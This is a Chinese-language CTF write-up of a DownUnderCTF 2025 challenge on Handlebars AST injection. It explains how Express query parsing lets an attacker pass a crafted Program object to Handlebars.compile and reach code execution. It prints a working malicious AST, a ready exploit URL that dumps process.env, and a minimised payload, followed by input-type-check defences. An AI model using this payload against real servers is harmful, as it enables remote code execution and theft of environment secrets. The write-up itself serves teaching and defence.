从DownUnderCTF 2025探讨Handlebars的ast语法树注入问题
字数 1271 2025-09-01 11:25:54

Handlebars AST语法树注入分析与防御

前言

本文通过分析DownUnderCTF 2025中的一道题目,深入探讨Handlebars模板引擎中AST语法树注入的安全问题。题目使用了最新版本的Handlebars,不存在传统SSTI(服务器端模板注入)漏洞,而是通过AST语法树注入实现攻击。

题目分析

初始环境

题目提供了一个简单的Dockerfile和app.js:

// app.js
const express = require('express');
const Handlebars = require('handlebars');

const app = express();

app.get('/', (req, res) => {
    const x = req.query.x;
    const template = Handlebars.compile(x);
    res.send(template({}));
});

app.listen(3000);

关键点:

  • 直接使用用户输入的req.query.x作为Handlebars.compile的参数
  • Handlebars是最新版本,传统SSTI漏洞已修复

Handlebars编译机制分析

compile方法实现

Handlebars.compile不仅接受字符串作为输入,还可以接受类型为Program的对象:

// handlebars/lin/handlebars/compiler/compiler.js
function compile(input, options) {
    // ...
    if (input && typeof input === 'object' && input.type === 'Program') {
        return compileInput(input);
    }
    // ...
}

AST解析过程

  1. env.parse生成AST语法树
  2. 如果input.typeProgram,直接返回整个对象,不做任何处理
  3. compileInput()将其编译后交给env.template

关键点:

  • 当传入对象且typeProgram时,Handlebars会直接使用该对象作为AST
  • Express的查询参数解析会将x[params]=xxx这样的语法解析为对象

恶意AST树构建

AST节点类型分析

Handlebars模板中的{{...}}语法被称为"Mustache"表达式,会被处理为MustacheStatement节点。

示例测试代码:

const Handlebars = require('handlebars');
const ast = Handlebars.parse('{{2}}');
console.log(ast);

输出结果:

{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "NumberLiteral",
        "value": 2
      }
    }
  ]
}

Helper调用分析

当注册并调用helper时,AST结构会有所不同:

Handlebars.registerHelper('test', function() {});
const ast = Handlebars.parse('{{test 2}}');
console.log(ast);

输出结果:

{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "PathExpression",
        "parts": ["test"]
      },
      "params": [
        {
          "type": "NumberLiteral",
          "value": 2
        }
      ]
    }
  ]
}

关键区别:

  • 普通表达式:NumberLiteralpath
  • Helper调用:NumberLiteralparams

参数处理机制

setupFullMustacheParams方法处理参数节点:

pushParams(val) {
    this.accept(val);
}

accept方法根据节点类型调用对应的处理方法。对于NumberLiteral

NumberLiteral(number) {
    this.opcode('pushLiteral', number.value);
}

关键点:

  • opcodevalue字段中的JavaScript函数字符串作为字面量添加到操作码中
  • 操作码最终会被拼接生成JS代码并执行

恶意AST构造与利用

构造恶意AST

基于上述分析,可以构造如下恶意AST:

{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "PathExpression",
        "parts": ["constructor"]
      },
      "params": [
        {
          "type": "StringLiteral",
          "value": "console.log(process.env); return 'pwned'"
        }
      ],
      "hash": null,
      "escaped": false
    }
  ]
}

利用方式

通过Express查询参数传递恶意AST对象:

http://example.com/?x[type]=Program&x[body][0][type]=MustacheStatement&x[body][0][path][type]=PathExpression&x[body][0][path][parts][0]=constructor&x[body][0][params][0][type]=StringLiteral&x[body][0][params][0][value]=console.log(process.env); return 'pwned'

最小化恶意AST

恶意AST可以简化为:

{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "parts": ["constructor"]
      },
      "params": [
        {
          "value": "console.log(process.env); return 'pwned'"
        }
      ]
    }
  ]
}

防御措施

  1. 输入类型检查

    • 在传入Handlebars.compile前,检查req.query.x的类型
    • 确保只接受字符串输入,拒绝对象类型
  2. 安全实践

    • 避免直接使用用户可控输入作为模板
    • 提前准备并编译模板,最后使用template渲染数据
  3. 代码修改示例

app.get('/', (req, res) => {
    const x = req.query.x;
    if (typeof x !== 'string') {
        return res.status(400).send('Invalid input');
    }
    const template = Handlebars.compile(x);
    res.send(template({}));
});

总结

Handlebars的AST语法树注入漏洞源于:

  1. 接受对象作为输入并直接解析为AST
  2. Express查询参数解析允许构造复杂对象
  3. AST编译过程中未对节点内容进行充分验证

防御关键在于严格控制输入类型和来源,避免用户直接控制模板编译过程。

Handlebars AST语法树注入分析与防御 前言 本文通过分析DownUnderCTF 2025中的一道题目,深入探讨Handlebars模板引擎中AST语法树注入的安全问题。题目使用了最新版本的Handlebars,不存在传统SSTI(服务器端模板注入)漏洞,而是通过AST语法树注入实现攻击。 题目分析 初始环境 题目提供了一个简单的Dockerfile和app.js: 关键点: 直接使用用户输入的 req.query.x 作为Handlebars.compile的参数 Handlebars是最新版本,传统SSTI漏洞已修复 Handlebars编译机制分析 compile方法实现 Handlebars.compile不仅接受字符串作为输入,还可以接受类型为 Program 的对象: AST解析过程 env.parse 生成AST语法树 如果 input.type 为 Program ,直接返回整个对象,不做任何处理 compileInput() 将其编译后交给 env.template 关键点: 当传入对象且 type 为 Program 时,Handlebars会直接使用该对象作为AST Express的查询参数解析会将 x[params]=xxx 这样的语法解析为对象 恶意AST树构建 AST节点类型分析 Handlebars模板中的 {{...}} 语法被称为"Mustache"表达式,会被处理为 MustacheStatement 节点。 示例测试代码: 输出结果: Helper调用分析 当注册并调用helper时,AST结构会有所不同: 输出结果: 关键区别: 普通表达式: NumberLiteral 在 path 中 Helper调用: NumberLiteral 在 params 中 参数处理机制 setupFullMustacheParams 方法处理参数节点: accept 方法根据节点类型调用对应的处理方法。对于 NumberLiteral : 关键点: opcode 将 value 字段中的JavaScript函数字符串作为字面量添加到操作码中 操作码最终会被拼接生成JS代码并执行 恶意AST构造与利用 构造恶意AST 基于上述分析,可以构造如下恶意AST: 利用方式 通过Express查询参数传递恶意AST对象: 最小化恶意AST 恶意AST可以简化为: 防御措施 输入类型检查 : 在传入 Handlebars.compile 前,检查 req.query.x 的类型 确保只接受字符串输入,拒绝对象类型 安全实践 : 避免直接使用用户可控输入作为模板 提前准备并编译模板,最后使用template渲染数据 代码修改示例 : 总结 Handlebars的AST语法树注入漏洞源于: 接受对象作为输入并直接解析为AST Express查询参数解析允许构造复杂对象 AST编译过程中未对节点内容进行充分验证 防御关键在于严格控制输入类型和来源,避免用户直接控制模板编译过程。